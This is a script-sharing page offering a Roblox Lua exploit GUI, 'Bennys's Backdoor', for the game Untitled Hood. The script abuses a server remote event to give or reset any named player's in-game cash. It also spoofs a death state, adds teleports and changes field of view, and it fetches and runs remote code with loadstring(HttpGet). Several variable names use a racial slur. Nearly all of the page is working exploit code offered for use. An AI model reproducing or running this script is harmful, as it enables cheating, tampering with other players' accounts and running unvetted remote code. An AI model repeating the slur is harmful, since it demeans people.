GUI
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GUI

Untitled Hoodlonelywareexelonelywareexe 4.2K views 3 executesUpdated Apr 16, 2022
5.0/ 5(2 votes)
20100% Positive
Lua Script•188 lines (6497 chars)
local Library = loadstring(game:HttpGet("https://raw.githubusercontent.com/xHeptc/Kavo-UI-Library/main/source.lua"))()
local Window = Library.CreateLib("Bennys's Backdoor", "Sentinel")
local Tab = Window:NewTab("Cash")
local Section = Tab:NewSection("Cash")




local Workspace = game:GetService("Workspace")
local Players = game.Players.LocalPlayer

local Character = Players.Character

function Buy(Object)
    local Object = Object
    local LockPicker = Workspace.Ignored.Shop[Object]
    Character.HumanoidRootPart.CFrame = LockPicker.Head.CFrame + Vector3.new(0, 3, 0)
    wait(0.5)
    fireclickdetector(LockPicker.ClickDetector)
    fireclickdetector(LockPicker.ClickDetector)
end

Buy("[Revolver] - $1300")

wait(0.5)

game.ReplicatedStorage:FindFirstChild(".gg/untitledhood"):FireServer(
    "Reload",
    {
        Name = "[Revolver]", --// reminder: [Double-Barrel SG] or [Revolver] works for any gun but i put it here so i can just copy and paste whenever i want to
        Parent = Game.Players.LocalPlayer.Backpack,
        ClassName = "Tool",
        Ammo = {Value = math.huge*9e9},
        MaxAmmo = {Value = 0},
        GunScript = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].GunScript,
        Handle = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].Handle
    }
)

wait(2)

local nigger = game:GetService('Players').LocalPlayer
        local Nigger2 = nigger.Character
        Nigger2:FindFirstChildOfClass('Humanoid'):Destroy()
        local shitCharacter = nigger.CharacterAdded:Wait()
        local spoofFolder = Instance.new('Folder')
        spoofFolder.Name = 'FULLY_LOADED_CHAR'
        spoofFolder.Parent = shitCharacter
        shitCharacter:WaitForChild('BodyEffects').Dead:Destroy()
        shitCharacter:WaitForChild('BodyEffects').BreakingParts:Destroy()
        local spoofValue = Instance.new('BoolValue', shitCharacter.BodyEffects)
        spoofValue.Name = 'Dead'
        wait(1)
        nigger.Character:WaitForChild('Humanoid'):WaitForChild('BodyWidthScale').Value = 0.5


_G.Aiden = "AnthonyKirk44"

_G.Amount = 999999999999999999
---

_G.Reset = 1000000 

Section:NewTextBox("Username", "The person that receives the money", function(value)
    _G.Aiden = value
end)

Section:NewButton("Give Cash", "Gives The Selected Person Cash", function()

    game.ReplicatedStorage:FindFirstChild(".gg/untitledhood"):FireServer(
        "Reload",
        {
            Name = "[Revolver]",
            Parent = Game.Players.LocalPlayer.Backpack,
            ClassName = "Tool",
            Ammo = game:GetService("Players")[_G.Aiden].DataFolder.Currency,
            MaxAmmo = {Value = _G.Amount},
            GunScript = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].GunScript,
            Handle = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].Handle
        }
    ) 
    end)

    Section:NewButton("Reset Cash", "Reset's The Person's Cash", function()

        game.ReplicatedStorage:FindFirstChild(".gg/untitledhood"):FireServer(
            "Reload",
            {
                Name = "[Revolver]",
                Parent = Game.Players.LocalPlayer.Backpack,
                ClassName = "Tool",
                Ammo = game:GetService("Players")[_G.Aiden].DataFolder.Currency,
                MaxAmmo = {Value = _G.Reset},
                GunScript = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].GunScript,
                Handle = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].Handle
            }
        ) 
        end)

        
        
local Tab = Window:NewTab("Local")
local Section = Tab:NewSection("Player")

Section:NewButton("Click TP", "Enables Click TP", function()
    print("Clicked")
    mouse = game.Players.LocalPlayer:GetMouse()
tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "TP"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end)

Section:NewButton("Load Infinite Yield", "Loads Infinite Yield", function()
    print("Clicked")
    loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
end)

Section:NewKeybind("Close GUI", "Closes The GUI", Enum.KeyCode.RightShift, function()
	Library:ToggleUI()
end)


local Tab = Window:NewTab("Teleports")
local Section = Tab:NewSection("Teleports")

Section:NewButton("Revolver", "Teleports to Revolver", function()
    print("Clicked")
    game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-313.6500549316406, 22.556724548339844, -1173.1046142578125)
end)

Section:NewButton("Double Barrel", "Teleports to DB", function()
    print("Clicked")
    game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(353.9109802246094, 47.482913970947266, -794.276611328125)
end)

Section:NewButton("Center", "Teleports To The Center", function()
    print("Clicked")
    game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-201.8201141357422, 22.556718826293945, -985.5420532226562)
end)

Section:NewButton("Gun Shop", "Teleports To The Gun Shop", function()
    print("Clicked")
    game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-210.0341339111328, 22.556720733642578, -889.6668701171875)
end)

Section:NewButton("Gym", "Teleports To The Gym", function()
    print("Clicked")
    game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-332.0563049316406, 44.24421691894531, -1321.5045166015625)
end)

local Tab = Window:NewTab("FOV")
local Section = Tab:NewSection("FOV")

Section:NewButton("60 FOV", "Enables 60 FOV", function()
    print("Clicked")
    workspace.CurrentCamera.FieldOfView = 60
end)

Section:NewButton("80 FOV", "Enables 80 FOV", function()
    print("Clicked")
    workspace.CurrentCamera.FieldOfView = 80
end)

Section:NewButton("100 FOV", "Enables 100 FOV", function()
    print("Clicked")
    workspace.CurrentCamera.FieldOfView = 100
end)

Section:NewButton("120 FOV", "Enables 120 FOV", function()
    print("Clicked")
    workspace.CurrentCamera.FieldOfView = 120
end)

Section:NewButton("140 FOV", "Enables 140 FOV", function()
    print("Clicked")
    workspace.CurrentCamera.FieldOfView = 140
end)

Section:NewButton("Reset FOV", "Enables 140 FOV", function()
    print("Clicked")
    workspace.CurrentCamera.FieldOfView = 70
end)

Features & Information

give cash reset cash, telepots, fovs
#roblox#best script#back door

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